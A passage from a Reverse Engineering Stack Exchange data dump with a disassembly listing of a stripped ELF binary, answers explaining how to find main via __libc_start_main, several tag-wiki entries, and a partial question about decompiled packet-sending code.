00 00          call   80483f0 &amp;lt;__gmon_start__@plt&amp;gt;&#xA; 8048393:   e8 48 01 00 00          call   80484e0 &amp;lt;strncmp@plt+0xa0&amp;gt;&#xA; 8048398:   e8 13 03 00 00          call   80486b0 &amp;lt;strncmp@plt+0x270&amp;gt;&#xA; 804839d:   83 c4 08                add    $0x8,%esp&#xA; 80483a0:   5b                      pop    %ebx&#xA; 80483a1:   c3                      ret    &#xA;&#xA;Disassembly of section .plt:&#xA;&#xA;080483b0 &amp;lt;printf@plt-0x10&amp;gt;:&#xA; 80483b0:   ff 35 f8 9f 04 08       pushl  0x8049ff8&#xA; 80483b6:   ff 25 fc 9f 04 08       jmp    *0x8049ffc&#xA; 80483bc:   00 00                   add    %al,(%eax)&#xA;    ...&#xA;&#xA;080483c0 &amp;lt;printf@plt&amp;gt;:&#xA; 80483c0:   ff 25 00 a0 04 08       jmp    *0x804a000&#xA; 80483c6:   68 00 00 00 00          push   $0x0&#xA; 80483cb:   e9 e0 ff ff ff          jmp    80483b0 &amp;lt;printf@plt-0x10&amp;gt;&#xA;&#xA;080483d0 &amp;lt;malloc@plt&amp;gt;:&#xA; 80483d0:   ff 25 04 a0 04 08       jmp    *0x804a004&#xA; 80483d6:   68 08 00 00 00          push   $0x8&#xA; 80483db:   e9 d0 ff ff ff          jmp    80483b0 &amp;lt;printf@plt-0x10&amp;gt;&#xA;&#xA;080483e0 &amp;lt;puts@plt&amp;gt;:&#xA; 80483e0:   ff 25 08 a0 04 08       jmp    *0x804a008&#xA; 80483e6:   68 10 00 00 00          push   $0x10&#xA; 80483eb:   e9 c0 ff ff ff          jmp    80483b0 &amp;lt;printf@plt-0x10&amp;gt;&#xA;&#xA;080483f0 &amp;lt;__gmon_start__@plt&amp;gt;:&#xA; 80483f0:   ff 25 0c a0 04 08       jmp    *0x804a00c&#xA; 80483f6:   68 18 00 00 00          push   $0x18&#xA; 80483fb:   e9 b0 ff ff ff          jmp    80483b0 &amp;lt;printf@plt-0x10&amp;gt;&#xA;&#xA;08048400 &amp;lt;exit@plt&amp;gt;:&#xA; 8048400:   ff 25 10 a0 04 08       jmp    *0x804a010&#xA; 8048406:   68 20 00 00 00          push   $0x20&#xA; 804840b:   e9 a0 ff ff ff          jmp    80483b0 &amp;lt;printf@plt-0x10&amp;gt;&#xA;&#xA;08048410 &amp;lt;__libc_start_main@plt&amp;gt;:&#xA; 8048410:   ff 25 14 a0 04 08       jmp    *0x804a014&#xA; 8048416:   68 28 00 00 00          push   $0x28&#xA; 804841b:   e9 90 ff ff ff          jmp    80483b0 &amp;lt;printf@plt-0x10&amp;gt;&#xA;&#xA;08048420 &amp;lt;strncpy@plt&amp;gt;:&#xA; 8048420:   ff 25 18 a0 04 08       jmp    *0x804a018&#xA; 8048426:   68 30 00 00 00          push   $0x30&#xA; 804842b:   e9 80 ff ff ff          jmp    80483b0 &amp;lt;printf@plt-0x10&amp;gt;&#xA;&#xA;08048430 &amp;lt;atoi@plt&amp;gt;:&#xA; 8048430:   ff 25 1c a0 04 08       jmp    *0x804a01c&#xA; 8048436:   68 38 00 00 00          push   $0x38&#xA; 804843b:   e9 70 ff ff ff          jmp    80483b0 &amp;lt;printf@plt-0x10&amp;gt;&#xA;&#xA;08048440 &amp;lt;strncmp@plt&amp;gt;:&#xA; 8048440:   ff 25 20 a0 04 08       jmp    *0x804a020&#xA; 8048446:   68 40 00 00 00          push   $0x40&#xA; 804844b:   e9 60 ff ff ff          jmp    80483b0 &amp;lt;printf@plt-0x10&amp;gt;&#xA;&#xA;Disassembly of section .text:&#xA;&#xA;08048450 &amp;lt;.text&amp;gt;:&#xA; 8048450:   31 ed                   xor    %ebp,%ebp&#xA; 8048452:   5e                      pop    %esi&#xA; 8048453:   89 e1                   mov    %esp,%ecx&#xA; 8048455:   83 e4 f0                and    $0xfffffff0,%esp&#xA; 8048458:   50                      push   %eax&#xA; 8048459:   54                      push   %esp&#xA; 804845a:   52                      push   %edx&#xA; 804845b:   68 a0 86 04 08          push   $0x80486a0&#xA; 8048460:   68 30 86 04 08          push   $0x8048630&#xA; 8048465:   51                      push   %ecx&#xA; 8048466:   56                      push   %esi&#xA; 8048467:   68 3e 85 04 08          push   $0x804853e&#xA; 804846c:   e8 9f ff ff ff          call   8048410 &amp;lt;__libc_start_main@plt&amp;gt;&#xA; 8048471:   f4                      hlt    &#xA; 8048472:   90                      nop&#xA; 8048473:   90                      nop&#xA; 8048474:   90                      nop&#xA; 8048475:   90                      nop&#xA; 8048476:   90                      nop&#xA; 8048477:   90                      nop&#xA; 8048478:   90                      nop&#xA; 8048479:   90                      nop&#xA; 804847a:   90                      nop&#xA; 804847b:   90                      nop&#xA; 804847c:   90                      nop&#xA; 804847d:   90                      nop&#xA; 804847e:   90                      nop&#xA; 804847f:   90                      nop&#xA; 8048480:   55                      push   %ebp&#xA; 8048481:   89 e5                   mov    %esp,%ebp&#xA; 8048483:   53                      push   %ebx&#xA; 8048484:   83 ec 04                sub    $0x4,%esp&#xA; 8048487:   80 3d 44 a0 04 08 00    cmpb   $0x0,0x804a044&#xA; 804848e:   75 3f                   jne    80484cf &amp;lt;strncmp@plt+0x8f&amp;gt;&#xA; 8048490:   a1 48 a0 04 08          mov    0x804a048,%eax&#xA; 8048495:   bb 20 9f 04 08          mov    $0x8049f20,%ebx&#xA; 804849a:   81 eb 1c 9f 04 08       sub    $0x8049f1c,%ebx&#xA; 80484a0:   c1 fb 02                sar    $0x2,%ebx&#xA; 80484a3:   83 eb 01                sub    $0x1,%ebx&#xA; 80484a6:   39 d8                   cmp    %ebx,%eax&#xA; 80484a8:   73 1e                   jae    80484c8 &amp;lt;strncmp@plt+0x88&amp;gt;&#xA; 80484aa:   8d b6 00 00 00 00       lea    0x0(%esi),%esi&#xA; 80484b0:   83 c0 01                add    $0x1,%eax&#xA; 80484b3:   a3 48 a0 04 08          mov    %eax,0x804a048&#xA; 80484b8:   ff 14 85 1c 9f 04 08    call   *0x8049f1c(,%eax,4)&#xA; 80484bf:   a1 48 a0 04 08          mov    0x804a048,%eax&#xA; 80484c4:   39 d8                   cmp    %ebx,%eax&#xA; 80484c6:   72 e8                   jb     80484b0 &amp;lt;strncmp@plt+0x70&amp;gt;&#xA; 80484c8:   c6 05 44 a0 04 08 01    movb   $0x1,0x804a044&#xA; 80484cf:   83 c4 04                add    $0x4,%esp&#xA; 80484d2:   5b                      pop    %ebx&#xA; 80484d3:   5d                      pop    %ebp&#xA; 80484d4:   c3                      ret    &#xA; 80484d5:   8d 74 26 00             lea    0x0(%esi,%eiz,1),%esi&#xA; 80484d9:   8d bc 27 00 00 00 00    lea    0x0(%edi,%eiz,1),%edi&#xA; 80484e0:   55                      push   %ebp&#xA; 80484e1:   89 e5                   mov    %esp,%ebp&#xA; 80484e3:   83 ec 18                sub    $0x18,%esp&#xA; 80484e6:   a1 24 9f 04 08          mov    0x8049f24,%eax&#xA; 80484eb:   85 c0                   test   %eax,%eax&#xA; 80484ed:   74 12                   je     8048501 &amp;lt;strncmp@plt+0xc1&amp;gt;&#xA; 80484ef:   b8 00 00 00 00          mov    $0x0,%eax&#xA; 80484f4:   85 c0                   test   %eax,%eax&#xA; 80484f6:   74 09                   je     8048501 &amp;lt;strncmp@plt+0xc1&amp;gt;&#xA; 80484f8:   c7 04 24 24 9f 04 08    movl   $0x8049f24,(%esp)&#xA; 80484ff:   ff d0                   call   *%eax&#xA; 8048501:   c9                      leave  &#xA; 8048502:   c3                      ret    &#xA; 8048503:   90                      nop&#xA; 8048504:   55                      push   %ebp&#xA; 8048505:   89 e5                   mov    %esp,%ebp&#xA; 8048507:   83 ec 14                sub    $0x14,%esp&#xA; 804850a:   8b 45 08                mov    0x8(%ebp),%eax&#xA; 804850d:   88 45 ec                mov    %al,-0x14(%ebp)&#xA; 8048510:   c7 45 fc 00 00 00 00    movl   $0x0,-0x4(%ebp)&#xA; 8048517:   eb 1b                   jmp    8048534 &amp;lt;strncmp@plt+0xf4&amp;gt;&#xA; 8048519:   8b 45 fc                mov    -0x4(%ebp),%eax&#xA; 804851c:   03 45 0c                add    0xc(%ebp),%eax&#xA; 804851f:   8b 55 fc                mov    -0x4(%ebp),%edx&#xA; 8048522:   03 55 0c                add    0xc(%ebp),%edx&#xA; 8048525:   0f b6 0a                movzbl (%edx),%ecx&#xA; 8048528:   0f b6 55 ec             movzbl -0x14(%ebp),%edx&#xA; 804852c:   31 ca                   xor    %ecx,%edx&#xA; 804852e:   88 10                   mov    %dl,(%eax)&#xA; 8048530:   83 45 fc 01             addl   $0x1,-0x4(%ebp)&#xA; 8048534:   8b 45 fc                mov    -0x4(%ebp),%eax&#xA; 8048537:   3b 45 10                cmp    0x10(%ebp),%eax&#xA; 804853a:   7c dd                   jl     8048519 &amp;lt;strncmp@plt+0xd9&amp;gt;&#xA; 804853c:   c9                      leave  &#xA; 804853d:   c3                      ret    &#xA; 804853e:   55                      push   %ebp&#xA; 804853f:   89 e5                   mov    %esp,%ebp&#xA; 8048541:   83 e4 f0                and    $0xfffffff0,%esp&#xA; 8048544:   83 ec 20                sub    $0x20,%esp&#xA; 8048547:   c6 44 24 1f cf          movb   $0xcf,0x1f(%esp)&#xA; 804854c:   c7 04 24 0d 00 00 00    movl   $0xd,(%esp)&#xA; 8048553:   e8 78 fe ff ff          call   80483d0 &amp;lt;malloc@plt&amp;gt;&#xA; 8048558:   89 44 24 18             mov    %eax,0x18(%esp)&#xA; 804855c:   83 7d 08 02             cmpl   $0x2,0x8(%ebp)&#xA; 8048560:   7f 0c                   jg     804856e &amp;lt;strncmp@plt+0x12e&amp;gt;&#xA; 8048562:   c7 04 24 ff ff ff ff    movl   $0xffffffff,(%esp)&#xA; 8048569:   e8 92 fe ff ff          call   8048400 &amp;lt;exit@plt&amp;gt;&#xA; 804856e:   8b 45 0c                mov    0xc(%ebp),%eax&#xA; 8048571:   83 c0 04                add    $0x4,%eax&#xA; 8048574:   8b 00                   mov    (%eax),%eax&#xA; 8048576:   c7 44 24 08 0d 00 00    movl   $0xd,0x8(%esp)&#xA; 804857d:   00 &#xA; 804857e:   89 44 24 04             mov    %eax,0x4(%esp)&#xA; 8048582:   8b 44 24 18             mov    0x18(%esp),%eax&#xA; 8048586:   89 04 24                mov    %eax,(%esp)&#xA; 8048589:   e8 92 fe ff ff          call   8048420 &amp;lt;strncpy@plt&amp;gt;&#xA; 804858e:   0f b6 44 24 1f          movzbl 0x1f(%esp),%eax&#xA; 8048593:   c7 44 24 08 0c 00 00    movl   $0xc,0x8(%esp)&#xA; 804859a:   00 &#xA; 804859b:   c7 44 24 04 30 a0 04    movl   $0x804a030,0x4(%esp)&#xA; 80485a2:   08 &#xA; 80485a3:   89 04 24                mov    %eax,(%esp)&#xA; 80485a6:   e8 59 ff ff ff          call   8048504 &amp;lt;strncmp@plt+0xc4&amp;gt;&#xA; 80485ab:   c7 44 24 08 14 00 00    movl   $0x14,0x8(%esp)&#xA; 80485b2:   00 &#xA; 80485b3:   8b 44 24 18             mov    0x18(%esp),%eax&#xA; 80485b7:   89 44 24 04             mov    %eax,0x4(%esp)&#xA; 80485bb:   c7 04 24 30 a0 04 08    movl   $0x804a030,(%esp)&#xA; 80485c2:   e8 79 fe ff ff          call   8048440 &amp;lt;strncmp@plt&amp;gt;&#xA; 80485c7:   85 c0                   test   %eax,%eax&#xA; 80485c9:   74 21                   je     80485ec &amp;lt;strncmp@plt+0x1ac&amp;gt;&#xA; 80485cb:   b8 08 87 04 08          mov    $0x8048708,%eax&#xA; 80485d0:   c7 44 24 04 30 a0 04    movl   $0x804a030,0x4(%esp)&#xA; 80485d7:   08 &#xA; 80485d8:   89 04 24                mov    %eax,(%esp)&#xA; 80485db:   e8 e0 fd ff ff          call   80483c0 &amp;lt;printf@plt&amp;gt;&#xA; 80485e0:   c7 04 24 ff ff ff ff    movl   $0xffffffff,(%esp)&#xA; 80485e7:   e8 14 fe ff ff          call   8048400 &amp;lt;exit@plt&amp;gt;&#xA; 80485ec:   8b 45 0c                mov    0xc(%ebp),%eax&#xA; 80485ef:   83 c0 08                add    $0x8,%eax&#xA; 80485f2:   8b 00                   mov    (%eax),%eax&#xA; 80485f4:   89 04 24                mov    %eax,(%esp)&#xA; 80485f7:   e8 34 fe ff ff          call   8048430 &amp;lt;atoi@plt&amp;gt;&#xA; 80485fc:   8b 15 40 a0 04 08       mov    0x804a040,%edx&#xA; 8048602:   39 d0                   cmp    %edx,%eax&#xA; 8048604:   74 18                   je     804861e &amp;lt;strncmp@plt+0x1de&amp;gt;&#xA; 8048606:   c7 04 24 16 87 04 08    movl   $0x8048716,(%esp)&#xA; 804860d:   e8 ce fd ff ff          call   80483e0 &amp;lt;puts@plt&amp;gt;&#xA; 8048612:   c7 04 24 ff ff ff ff    movl   $0xffffffff,(%esp)&#xA; 8048619:   e8 e2 fd ff ff          call   8048400 &amp;lt;exit@plt&amp;gt;&#xA; 804861e:   c7 04 24 1b 87 04 08    movl   $0x804871b,(%esp)&#xA; 8048625:   e8 b6 fd ff ff          call   80483e0 &amp;lt;puts@plt&amp;gt;&#xA; 804862a:   c9                      leave  &#xA; 804862b:   c3                      ret    &#xA; 804862c:   90                      nop&#xA; 804862d:   90                      nop&#xA; 804862e:   90                      nop&#xA; 804862f:   90                      nop&#xA; 8048630:   55                      push   %ebp&#xA; 8048631:   57                      push   %edi&#xA; 8048632:   56                      push   %esi&#xA; 8048633:   53                      push   %ebx&#xA; 8048634:   e8 69 00 00 00          call   80486a2 &amp;lt;strncmp@plt+0x262&amp;gt;&#xA; 8048639:   81 c3 bb 19 00 00       add    $0x19bb,%ebx&#xA; 804863f:   83 ec 1c                sub    $0x1c,%esp&#xA; 8048642:   8b 6c 24 30             mov    0x30(%esp),%ebp&#xA; 8048646:   8d bb 20 ff ff ff       lea    -0xe0(%ebx),%edi&#xA; 804864c:   e8 23 fd ff ff          call   8048374 &amp;lt;printf@plt-0x4c&amp;gt;&#xA; 8048651:   8d 83 20 ff ff ff       lea    -0xe0(%ebx),%eax&#xA; 8048657:   29 c7                   sub    %eax,%edi&#xA; 8048659:   c1 ff 02                sar    $0x2,%edi&#xA; 804865c:   85 ff                   test   %edi,%edi&#xA; 804865e:   74 29                   je     8048689 &amp;lt;strncmp@plt+0x249&amp;gt;&#xA; 8048660:   31 f6                   xor    %esi,%esi&#xA; 8048662:   8d b6 00 00 00 00       lea    0x0(%esi),%esi&#xA; 8048668:   8b 44 24 38             mov    0x38(%esp),%eax&#xA; 804866c:   89 2c 24                mov    %ebp,(%esp)&#xA; 804866f:   89 44 24 08             mov    %eax,0x8(%esp)&#xA; 8048673:   8b 44 24 34             mov    0x34(%esp),%eax&#xA; 8048677:   89 44 24 04             mov    %eax,0x4(%esp)&#xA; 804867b:   ff 94 b3 20 ff ff ff    call   *-0xe0(%ebx,%esi,4)&#xA; 8048682:   83 c6 01                add    $0x1,%esi&#xA; 8048685:   39 fe                   cmp    %edi,%esi&#xA; 8048687:   75 df                   jne    8048668 &amp;lt;strncmp@plt+0x228&amp;gt;&#xA; 8048689:   83 c4 1c                add    $0x1c,%esp&#xA; 804868c:   5b                      pop    %ebx&#xA; 804868d:   5e                      pop    %esi&#xA; 804868e:   5f                      pop    %edi&#xA; 804868f:   5d                      pop    %ebp&#xA; 8048690:   c3                      ret    &#xA; 8048691:   eb 0d                   jmp    80486a0 &amp;lt;strncmp@plt+0x260&amp;gt;&#xA; 8048693:   90                      nop&#xA; 8048694:   90                      nop&#xA; 8048695:   90                      nop&#xA; 8048696:   90                      nop&#xA; 8048697:   90                      nop&#xA; 8048698:   90                      nop&#xA; 8048699:   90                      nop&#xA; 804869a:   90                      nop&#xA; 804869b:   90                      nop&#xA; 804869c:   90                      nop&#xA; 804869d:   90                      nop&#xA; 804869e:   90                      nop&#xA; 804869f:   90                      nop&#xA; 80486a0:   f3 c3                   repz ret &#xA; 80486a2:   8b 1c 24                mov    (%esp),%ebx&#xA; 80486a5:   c3                      ret    &#xA; 80486a6:   90                      nop&#xA; 80486a7:   90                      nop&#xA; 80486a8:   90                      nop&#xA; 80486a9:   90                      nop&#xA; 80486aa:   90                      nop&#xA; 80486ab:   90                      nop&#xA; 80486ac:   90                      nop&#xA; 80486ad:   90                      nop&#xA; 80486ae:   90                      nop&#xA; 80486af:   90                      nop&#xA; 80486b0:   55                      push   %ebp&#xA; 80486b1:   89 e5                   mov    %esp,%ebp&#xA; 80486b3:   53                      push   %ebx&#xA; 80486b4:   83 ec 04                sub    $0x4,%esp&#xA; 80486b7:   a1 14 9f 04 08          mov    0x8049f14,%eax&#xA; 80486bc:   83 f8 ff                cmp    $0xffffffff,%eax&#xA; 80486bf:   74 13                   je     80486d4 &amp;lt;strncmp@plt+0x294&amp;gt;&#xA; 80486c1:   bb 14 9f 04 08          mov    $0x8049f14,%ebx&#xA; 80486c6:   66 90                   xchg   %ax,%ax&#xA; 80486c8:   83 eb 04                sub    $0x4,%ebx&#xA; 80486cb:   ff d0                   call   *%eax&#xA; 80486cd:   8b 03                   mov    (%ebx),%eax&#xA; 80486cf:   83 f8 ff                cmp    $0xffffffff,%eax&#xA; 80486d2:   75 f4                   jne    80486c8 &amp;lt;strncmp@plt+0x288&amp;gt;&#xA; 80486d4:   83 c4 04                add    $0x4,%esp&#xA; 80486d7:   5b                      pop    %ebx&#xA; 80486d8:   5d                      pop    %ebp&#xA; 80486d9:   c3                      ret    &#xA; 80486da:   90                      nop&#xA; 80486db:   90                      nop&#xA;&#xA;Disassembly of section .fini:&#xA;&#xA;080486dc &amp;lt;.fini&amp;gt;:&#xA; 80486dc:   53                      push   %ebx&#xA; 80486dd:   83 ec 08                sub    $0x8,%esp&#xA; 80486e0:   e8 00 00 00 00          call   80486e5 &amp;lt;strncmp@plt+0x2a5&amp;gt;&#xA; 80486e5:   5b                      pop    %ebx&#xA; 80486e6:   81 c3 0f 19 00 00       add    $0x190f,%ebx&#xA; 80486ec:   e8 8f fd ff ff          call   8048480 &amp;lt;strncmp@plt+0x40&amp;gt;&#xA; 80486f1:   83 c4 08                add    $0x8,%esp&#xA; 80486f4:   5b                      pop    %ebx&#xA; 80486f5:   c3                      ret &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user4466" LastEditorDisplayName="user4466" LastEditDate="2014-04-27T21:29:52.977" LastActivityDate="2014-04-27T22:12:38.503" Title="What is the address of main() and how many bytes does it allocate on the stack for its frame size?" Tags="|ida|binary-analysis|gdb|dynamic-analysis|objdump|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4177" PostTypeId="2" ParentId="4176" CreationDate="2014-04-27T21:56:52.147" Score="2" Body="&lt;p&gt;Well, from the &lt;code&gt;objdump&lt;/code&gt; listing you provided it's pretty obvious that this binary file has been stripped out of all symbols. This is why you won't be able to find the &lt;code&gt;main&lt;/code&gt; symbol or any other function's symbol but those originating from an external library. But, given that this binary file is an ELF, you can run the &lt;code&gt;readelf -h&lt;/code&gt; command on it and get the &lt;code&gt;Entry point address&lt;/code&gt; which will certainly point to the &lt;code&gt;.text&lt;/code&gt; section located at address &lt;code&gt;08048450&lt;/code&gt; in your binary's &lt;code&gt;objdump&lt;/code&gt; listing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd like more information on how to find the &lt;code&gt;main&lt;/code&gt; function, the answers of &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4146/how-to-find-main-in-binary&quot;&gt;this&lt;/a&gt; post &amp;amp; &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3815/reversing-elf-64-bit-lsb-executable-x86-64-gdb/3816#3816&quot;&gt;this&lt;/a&gt; post cover most of what you need to know.  &lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-04-27T22:12:38.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4178" PostTypeId="2" ParentId="4176" CreationDate="2014-04-27T22:06:07.473" Score="4" Body="&lt;p&gt;Address of &lt;code&gt;main&lt;/code&gt; is the first argument to the &lt;code&gt;__libc_start_main&lt;/code&gt; function. Let's look at the entrypoint code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; xor    %ebp,%ebp&#xA; pop    %esi&#xA; mov    %esp,%ecx&#xA; and    $0xfffffff0,%esp&#xA; push   %eax&#xA; push   %esp&#xA; push   %edx&#xA; push   $0x80486a0&#xA; push   $0x8048630&#xA; push   %ecx&#xA; push   %esi&#xA; push   $0x804853e&#xA; call   8048410 &amp;lt;__libc_start_main@plt&amp;gt;&#xA; hlt    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since it's x86 code, it uses cdecl ABI, which means the first argument is pushed last onto the stack. So the address of &lt;code&gt;main&lt;/code&gt; is &lt;code&gt;0x804853e&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-04-27T22:06:07.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4179" PostTypeId="5" CreationDate="2014-04-28T07:18:03.033" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-04-28T07:18:03.033" LastActivityDate="2014-04-28T07:18:03.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4180" PostTypeId="4" CreationDate="2014-04-28T07:18:03.033" Score="0" Body="Reassembly is the process of assembling a set of instructions obtained through *disassembly* and which were certainly patched or modified." OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-04-28T09:30:36.720" LastActivityDate="2014-04-28T09:30:36.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4181" PostTypeId="5" CreationDate="2014-04-28T08:51:26.570" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-04-28T08:51:26.570" LastActivityDate="2014-04-28T08:51:26.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4182" PostTypeId="4" CreationDate="2014-04-28T08:51:26.570" Score="0" Body="`Application Programming Interface` defines an interface that controls the interactions between a module and its users. " OwnerUserId="4437" LastEditorUserId="53" LastEditDate="2014-04-28T09:02:33.553" LastActivityDate="2014-04-28T09:02:33.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4183" PostTypeId="5" CreationDate="2014-04-28T08:58:39.013" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-04-28T08:58:39.013" LastActivityDate="2014-04-28T08:58:39.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4184" PostTypeId="4" CreationDate="2014-04-28T08:58:39.013" Score="0" Body="LLDB is the debugger of the LLVM compiler infrastructure project. " OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-04-28T09:31:28.393" LastActivityDate="2014-04-28T09:31:28.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4185" PostTypeId="5" CreationDate="2014-04-28T09:02:37.580" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-04-28T09:02:37.580" LastActivityDate="2014-04-28T09:02:37.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4186" PostTypeId="4" CreationDate="2014-04-28T09:02:37.580" Score="0" Body="`PIC` is a popular family of low cost 8-bit micro-controllers from Microchip Technology with Harvard architecture. &#xD;&#xA;*Note*: For Position-independent code, please use tag &quot;pie&quot;.&#xD;&#xA;" OwnerUserId="4437" LastEditorUserId="60" LastEditDate="2017-05-03T13:42:58.777" LastActivityDate="2017-05-03T13:42:58.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4187" PostTypeId="5" CreationDate="2014-04-28T09:13:49.453" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-04-28T09:13:49.453" LastActivityDate="2014-04-28T09:13:49.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4188" PostTypeId="4" CreationDate="2014-04-28T09:13:49.453" Score="0" Body="Software-based simulation or emulation of a hardware platform (CPU and hardware devices). Famous examples of virtual-machines are VMware, QEMU, VirtualBox, Microsoft Hyper-V, ..." OwnerUserId="53" LastEditorUserId="13506" LastEditDate="2018-11-06T22:37:10.147" LastActivityDate="2018-11-06T22:37:10.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4189" PostTypeId="1" AcceptedAnswerId="4190" CreationDate="2014-04-28T11:45:59.620" Score="3" ViewCount="1808" Body="&lt;p&gt;Trying to understand a function thats responsible for sending out a packet.&#xA;I don't understand could it be a integer array or something? or some inline function that's not properly getting rendered in Hex-Rays&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand the else statement sends a 4 byte packet which contains a timestamp of the GetTickCount API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The if statement should send the packet that comes in the &lt;code&gt;a2&lt;/code&gt; is the pointer to characters with a3 being the size for all the characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usage is similar to this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char buffer[448];&#xA;memset(buffer, 0, sizeof(buffer));&#xA;//blah blah packet stuff here&#xA;strncpy(&amp;amp;buffer[90], &quot;blah blah blah&quot;, 250u);&#xA;buffer[339] = 0;&#xA;//then the call below.&#xA;// 91+250+91 = 432, yet memset is 448, 16 extra probably stack padding.&#xA;test(*v28, buffer, strlen(&amp;amp;buffer[90]) + 91);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the original code decompiled from Hex-Rays.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __thiscall test(void *this, const void *a2, unsigned int a3)&#xA;{&#xA;  void *v3; // ebx@1&#xA;  char *v4; // eax@3&#xA;  int v5; // [sp-8h] [bp-418h]@3&#xA;  int v6; // [sp-4h] [bp-414h]@3&#xA;  char v7[4]; // [sp+Ch] [bp-404h]@4&#xA;  char buf[1024]; // [sp+10h] [bp-400h]@3&#xA;&#xA;  v3 = this;&#xA;  if ( a2 &amp;amp;&amp;amp; (signed int)a3 &amp;gt; 0 )&#xA;  {&#xA;    *(_DWORD *)buf = 0;&#xA;    memcpy(&amp;amp;buf[4], a2, 4 * (a3 &amp;gt;&amp;gt; 2));&#xA;    v6 = 0;&#xA;    v5 = a3 + 4;&#xA;    v4 = buf;&#xA;    memcpy(&amp;amp;buf[4 * (a3 &amp;gt;&amp;gt; 2) + 4], (char *)a2 + 4 * (a3 &amp;gt;&amp;gt; 2), a3 &amp;amp; 3);// Looks like Copy by DWORDs, not by Bytes.&#xA;  }&#xA;  else&#xA;  {&#xA;    v6 = 0;&#xA;    *(_DWORD *)v7 = GetTickCount() / 0xA;&#xA;    v5 = 4;&#xA;    v4 = v7;&#xA;  }&#xA;  send(*(_DWORD *)v3, v4, v5, v6);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here I fixed it up a little by hand, still don't understand it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __thiscall test(void *this, const void *a2, unsigned int a3)&#xA;{&#xA;  void *v3; // ebx@1&#xA;  char *v4; // eax@3&#xA;  int v5; // [sp-8h] [bp-418h]@3&#xA;  int v6; // [sp-4h] [bp-414h]@3&#xA;  char v7[4]; // [sp+Ch] [bp-404h]@4&#xA;  char buf[1024]; // [sp+10h] [bp-400h]@3&#xA;&#xA;  v3 = this;&#xA;  if ( a2 &amp;amp;&amp;amp; (signed int)a3 &amp;gt; 0 )&#xA;  {&#xA;    *(_DWORD *)buf = 0;&#xA;    //Might be a swap of the 5th offset DWORD to end of the packet?&#xA;    //Or maybe it fills in the packet offsetted by the first 4 bytes?&#xA;    memcpy(&amp;amp;buf[4], a2, 4 * (a3 / 4)); // Looks like Copy by DWORDs, not by Bytes.&#xA;    v6 = 0;&#xA;    v5 = a3 + 4;&#xA;    v4 = buf;&#xA;    //Might be a swap of the end of the packet to the 5th offset DWORD?&#xA;    //Looks like some kind of footer to above memcpy function like to finish what the first function couldn't do?&#xA;    memcpy(&amp;amp;buf[4 * (a3 / 4) + 4], (char *)a2 + 4 * (a3 / 4), a3 &amp;amp; 3);// Looks like Copy by DWORDs, not by Bytes.&#xA;  }&#xA;  else&#xA;  {&#xA;    v6 = 0;&#xA;    *(_DWORD *)v7 = GetTickCount() / 0xA;&#xA;    v5 = 4;&#xA;    v4 = v7;&#xA;  }&#xA;  send(*(_DWORD *)v3, v4, v5, v6);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Okay I gave it some more time could this be the correct?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __thiscall test(void *this, const void *a2, unsigned int a3)&#xA;{&#xA;  void *v3; // ebx@1&#xA;  char *v4; // eax@3&#xA;  int v5; // [sp-8h] [bp-418h]@3&#xA;  int v6; // [sp-4h] [bp-414h]@3&#xA;  char v7[4]; // [sp+Ch] [bp-404h]@4&#xA;  char buf[1024]; // [sp+10h] [bp-400h]@3&#xA;&#xA;  v3 = this;&#xA;  if ( a2 &amp;amp;&amp;amp; (signed int)a3 &amp;gt; 0 )&#xA;  {&#xA;    *(_DWORD *)buf = 0;&#xA;    memmove(&amp;amp;buf[4],a2,a3 - 4); &#xA;&#xA;    v6 = 0;&#xA;    v5 = a3 + 4;&#xA;    v4 = buf;&#xA;  }&#xA;  else&#xA;  {&#xA;    v6 = 0;&#xA;    *(_DWORD *)v7 = GetTickCount() / 